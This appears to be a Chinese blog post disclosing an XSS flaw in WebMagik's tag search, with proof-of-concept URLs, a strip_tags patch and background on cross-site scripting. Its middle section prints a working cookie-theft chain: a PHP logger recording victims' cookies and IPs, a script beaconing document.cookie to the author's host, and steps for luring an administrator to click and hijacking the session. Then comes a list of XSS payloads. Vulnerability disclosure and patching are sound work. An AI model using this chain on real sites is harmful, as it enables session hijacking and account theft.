xss漏洞发现及利用

漏洞描述:在使用标签(tag)进行浏览时,由于没有很好的过滤用户输入(tag关键字)造成xss跨站漏洞,用户自定义的版块tag搜索和全局tag搜索列表。
利用形式1:
http://clin003.com/web2/?u=Club_talk_list&tag=<script>alert(111)</script>
其中http://clin003.com/web2/为网站连接,Club_talk_list为用户自定义版块。

利用形式2:
http://clin003.com/web2/?a=list&tag=<script>alert("111")</script>
其中http://clin003.com/web2/为网站连接,这个就是所谓的全局tag搜索。

漏洞危害:欺骗用户点击假冒连接盗取访问者的cookies甚至可能危害到访问者电脑安全,涉及帐户的相关信息可能被盗取。

漏洞发现者:clin003
已向官方报告漏洞情况。请wm使用者关注官方修补办法。
官方修补办法地址: http://webmagik.cn/bbs/viewthread.php?tid=638&pid=2225 
CODE: 
下载 module_list.php (2.83 KB)
并上传覆盖 /meta/module/module_list.php 后台重新生成各模块代码即可。
2 不想重新手工生成代码的,可以直接修改对应的 /umod/XXX_list.php 在页面最上方添加 $_REQUEST[tag] = strip_tags($_REQUEST[tag]);

Added By Easy 
——————————————————————
临时解决办法:
在所有涉及到tag搜索的页面 添加一行代码.
[Copy to clipboard] [ - ]
CODE:
$_REQUEST[tag] = strip_tags($_REQUEST[tag]);

官方在下一个版本会把过滤加进去。顺便说下,在模块基本设定中,如果开启不过滤数据,用户添加的内容也可以存在此问题。

----------------------------------
补充下:
在list.php(/mod/list.php)第二十四行的位置回车加上
$_REQUEST[tag] = strip_tags($_REQUEST[tag]);
这个是全局搜索tag的地方更新模块的时候不会被更新。
——————————————————————


漏洞发现过程:
在寻找使用过的中文标签为什么会失效的答案。添加一篇文章,然后由于想把“中间带空格的标签”合起来而使用啦单引号比如:‘webmagik  跨站’,提交的时候就出现问题。一堆数据库错误信息!!
怀疑有注入漏洞,,经多次检测没有注入漏洞。
忽然想到检测下跨站的这个xss代码(上次已经检测过搜索框的iframe跨站漏洞,只是没公布)。

--------------------------------------------------
下边是介绍xss漏洞的常识
----------------------------------------------------
什么是跨站脚本(CSS/XSS)?
在Web站点未经适当过滤便显示在HTML页面上时会出现这种漏洞。它允许(由用户输入的)任意HTML显示在用户的浏览器中。
我 们所说跨站脚本是指在远程WEB页面的html代码中插入的具有恶意目的的数据,用户认为该页面是可信赖的,但是当浏览器下载该页面,嵌入其中的脚本将被 解释执行,有时候跨站脚本被称为"XSS",这是因为"CSS"一般被称为分层样式表,这很容易让人困惑,如果你听某人提到CSS或者XSS安全漏洞,通 常指得是跨站脚本。跨站脚本漏洞常常被称为XSS漏洞。

XSS和脚本注射的区别?

原文里作者是和他一个朋友(b0iler)讨论后,才明白并非任何可利用脚本插入实现攻击的
漏洞都被称为XSS,还有另一种攻击方式:"Script Injection",他们的区别在以下两点:
1.(Script Injection)脚本插入攻击会把我们插入的脚本保存在被修改的远程WEB页面里,如
:sql injection,XPath injection.
2.跨站脚本是临时的,执行后就消失了

什么类型的脚本可以被插入远程页面?
主流脚本包括以下几种:
 HTML
 JavaScript (本文讨论)
 VBScript
 ActiveX
 Flash

测试代码:
1,在自己服务器上建立如下文件:
Getcookie.php

<?php
$cookie = $_GET[c];
$ip = getenv (REMOTE_ADDR);
$time=date("j F, Y, g:i a");
$referer=getenv (HTTP_REFERER);
$fp = fopen(victim.htm, a);
fwrite($fp, Cookie: .$cookie.<br> IP: .$ip. <br> Date and Time: .$time. <br> Referer: .$referer.<br><br><br>);
fclose($fp);
?>

Xss.js
document.write(<img src="http://clin003.com/getcookie.php?c=+document.cookie+" width=0 height=0 border=0 />);

2,发送信息给管理员
内容包含下边的连接:
http://clin003.com/web2/?a=list&tag=<img+src="http://clin003.com/getcookie.php?c=+document.cookie+" />_____________一个恶意的开始!!!


改进后的代码:
http://clin003.com/web2/?a=list&tag= <script src=http://clin003.com/xss.js></script>
成功收到cookies
3,等待管理员点击然后检查获得victim.htm内容。
4,复制从PHPSESSID= 到;的内容


启发来源:WEB漏洞挖掘技术
参考漏洞分析格式:PhpNuke管理员密码可泄露问题
link@clin003.com
----------------------------------------------------------------------


相关链接:
XSS:http://wiki.matrix.org.cn/Wiki.jsp?page=XSS
跨站脚本攻击(XSS)FAQ:http://tech.idv2.com/2006/08/30/xss-faq/
也谈跨站脚本攻击与防御:http://www.xfocus.net/articles/200607/874.html
浅析XSS(Cross Site Script)漏洞原:http://www.xker.com/page/e2007/0704/27444_3.html
PHP-Nuke个人消息存在HTML插入漏洞:http://www.xfocus.net/vuls/200208/2970.html

--------------------------------------------------------------------


预防的办法:-----------------------------------------------
1.在你的WEB浏览器上禁用javascript脚本
2..开发者要仔细审核代码,对提交输入数据进行有效检查,如"<"和">"。
   
可以把"<",">"转换为<,>
注意:由于XSS漏洞可被利用的多样性,程序员自己要明白具体需要过滤的字符,
这主要依赖于所开发程序的作用,建议过滤掉所有元字符,包括"="。

对我们浏览网页的网友来说不要访问包含<script>字符的连接,一些官方的URL不会包括任何脚本元素。


附带---------------------------------------------
到 目前为止,对于跨站点脚本攻击具有很大的威胁这一点大家并无异议。如果您很精通 XSS 并且只想看看有什么好的测试方法可供借鉴,那么请直接跳到本文的测试部分。如果您对此一无所知,请按顺序认真阅读!如果某个怀有恶意的人(攻击者)可以强 迫某个不知情的用户(受害者)运行攻击者选择的客户端脚本,那么便会发生跨站点脚本攻击。“跨站点脚本”这个词应该属于用词不当的情况,因为它不仅与脚本 有关,而且它甚至不一定是跨站点的。所以,它就是一个在发现这种攻击时起的一个名字,并且一直沿用至今。从现在开始,我们将使用它常见的缩写名称 “XSS”。
引用自:测试 Web 应用程序是否存在跨站点脚本漏洞

--------------------------------------下边一些参考资料。

http://clin003.com/web2/?a=list&tag=<script>alert("111")</script>


http://clin003.com/web2/?a=list&tag=<script>alert(111)</script>

http://clin003.com/web2/?a=list&tag=<script>alert(111)</script>


http://clin003.com/web2/?a=list&tag=<body+οnlοad=alert("1111")>


http://clin003.com/web2/?a=list&tag=<body+οnlοad=alert(1111)>


http://clin003.com/web2/?a=list&tag=<body+οnlοad=alert(1111)>

upload/2011/3/201103300326291646.bmp+οnlοad=alert("1111")>


upload/2011/3/201103300326291646.bmp+οnlοad=alert("1111")>

http://clin003.com/web2/?a=list&tag=<img+src="http://clin003.com/getcookie.php?c=+document.cookie+" />_____________一个恶意的开始!!!


upload/2011/3/201103300326291646.bmp+οnlοad=alert(1111)>


upload/2011/3/201103300326291646.bmp+οnlοad=alert(1111)>


http://clin003.com/web2/?a=list&tag=<"


http://clin003.com/web2/?a=list&tag=<


http://clin003.com/web2/?a=list&tag=<


http://clin003.com/web2/?a=list&tag=<!--


http://clin003.com/web2/?a=list&tag=-->


http://clin003.com/web2/?a=list&tag=<!-- -->

以上所有的连接都检测出漏洞


漏洞利用代码:
获得cookie
http://clin003.com/web2/?a=list&tag=%3Cscript%3Ealert(document.cookie)%3C%2fscript%3E


==============================================
什么是跨站脚本(CSS/XSS)?


在Web站点未经适当过滤便显示在HTML页面上时会出现这种漏洞。它允许(由用户输入的)任意HTML显示在用户的浏览器中。
我 们所说跨站脚本是指在远程WEB页面的html代码中插入的具有恶意目的的数据,用户认为该页面是可信赖的,但是当浏览器下载该页面,嵌入其中的脚本将被 解释执行,有时候跨站脚本被称为"XSS",这是因为"CSS"一般被称为分层样式表,这很容易让人困惑,如果你听某人提到CSS或者XSS安全漏洞,通 常指得是跨站脚本。跨站脚本漏洞常常被

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
XSS(Cross-Site Scripting)漏洞是一种常见的Web安全漏洞,其存在的危害主要有以下几点: 1. 窃取用户敏感信息:攻击者可以通过注入恶意脚本来窃取用户的敏感信息,例如登录凭证、银行卡号码等。 2. 伪造用户行为:攻击者可以利用XSS漏洞伪造用户行为,例如在用户不知情的情况下发起恶意请求,例如转账、删除账户等。 3. 破坏网站功能:攻击者可以利用XSS漏洞破坏网站的功能,例如篡改页面内容、删除数据等。 常见的XSS攻击手段包括: 1. 反射型XSS:攻击者将恶意脚本注入到URL中,当用户访问该URL时,恶意脚本被执行,从而实现攻击目的。 2. 存储型XSS:攻击者将恶意脚本注入到网站数据库中,当用户访问该网站时,恶意脚本被执行,从而实现攻击目的。 3. DOM-based XSS:攻击者将恶意脚本注入到网页中的DOM元素,当用户与该元素交互时,恶意脚本被执行,从而实现攻击目的。 防范XSS漏洞的方法包括: 1. 过滤用户输入数据:对用户输入的数据进行过滤和限制,例如过滤特殊字符、限制输入长度等。 2. 对输出内容进行转义:对输出到网页的内容进行转义,例如将特殊字符转换为HTML实体,从而防止恶意脚本的执行。 3. 使用CSP(Content Security Policy):CSP是一种Web安全策略,可以限制网站加载的资源,从而防止恶意脚本的注入。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值